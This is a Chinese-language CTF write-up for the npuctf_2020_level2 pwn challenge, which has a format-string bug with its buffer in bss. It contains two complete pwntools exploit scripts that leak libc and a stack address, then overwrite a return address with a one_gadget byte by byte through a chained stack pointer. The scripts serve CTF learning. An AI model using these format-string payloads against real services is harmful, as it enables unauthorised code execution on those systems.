npuctf_2020_level2(args链的bss格式字符串)


题目的例行检查我就不放了

 程序的逻辑也很简单,典型的bss格式字符串漏洞

 可以看看看到在ebp下面有一个相互串联的指针,我们可以利用这个链间接写入到bss

并且上面这个libc_start_main+231可以泄露libc

最开始的exp

from pwn import *
#p = remote('node4.buuoj.cn','29664')
p = process('./npuctf_2020_level2')
elf = ELF('./npuctf_2020_level2')
libc = ELF('./libc-2.27.so')

p.sendline('%7$p')
p.recvuntil('0x')

libc_base = int(p.recvuntil('\n',drop=True),16) - 0x21b97

print('libc_base--->'+hex(libc_base))
one = [0x4f2c5,0x4f322,0x10a38c]

one_gadget = libc_base + one[1]

print('one_gadget-->'+hex(one_gadget))
# 9 35
p.sendline('%9$p')
p.recvuntil('0x')
addr_stark = int(p.recvuntil('\n',drop=True),16)-0xe0
print('addr_stark-->'+hex(addr_stark))


stack_base = addr_stark & 0xffff

payload = '%'+str(stack_base)+'c'+'%9$hn'
p.sendline(payload)
sleep(2)


payload1 = '%'+str(one_gadget & 0xff)+'c'+'%35$hhn'
p.sendline(payload1)
sleep(2)


payload2 = '%'+str(stack_base+1)+'c'+'%9$hhn'
p.sendline(payload2)
sleep(2)

payload3 = '%'+str((one_gadget>>8) & 0xffff)+'c'+'%35$hhn'
p.sendline(payload3)
sleep(2)

payload4 = '%'+str(stack_base+2)+'c'+'%9$hhn'
p.sendline(payload4)
sleep(2)

payload5 = '%'+str((one_gadget>>16) & 0xff)+'c'+'%35$hhn'
p.sendline(payload5)
sleep(2)

#p.sendline('66666666')


gdb.attach(p)


p.interactive()

 在程序加了sleep(2)也打不通

在网上查询后看到了别的师傅的exp

from pwn import *
#9  35
#p=process('./npuctf_2020_level2')
p=remote('node3.buuoj.cn',26286)
libc=ELF('../libc-2.27.so')
context.log_level='debug'
payload1='%7$p#%9$p@'
p.sendline(payload1)

p.recvuntil('0x')
libc_base=(int(p.recvuntil("#",True),16) - 231)-libc.symbols['__libc_start_main']
p.recvuntil('0x')
addr_stack=int(p.recvuntil("@",True),16)-0xe0
one_gadgets = [0x4f2c5,0x4f322,0x10a38c]


one_gadget=one_gadgets[1]+libc_base
stackbase = addr_stack & 0xffff
p.sendlineafter('\n', '%' + str(stackbase) + 'c%9$hn\x00')
p.sendlineafter('\x20\x20\xb4', '%'+str(one_gadget&0xff)+'c%35$hhn\x00')
p.sendlineafter('\x20\x20\xb4', '%'+str(stackbase+1)+'c%9$hhn\x00')
p.sendlineafter('\x20\x20\xb4', '%'+str((one_gadget>>8)&0xffff)+'c%35$hhn\x00')
p.sendlineafter('\x20\x20\xb4', '%'+str(stackbase+2)+'c%9$hhn\x00')
p.sendlineafter('\x20\x20\xb4', '%'+str((one_gadget>>16)&0xff)+'c%35$hhn\x00')
#p.recv('\x20\x20\xb4')
p.sendline('66666666\x00')
#p.recv()
print(hex(libc.symbols['__libc_start_main']))
#gdb.attach(p)
p.interactive()

  才可以打通,学到了

相关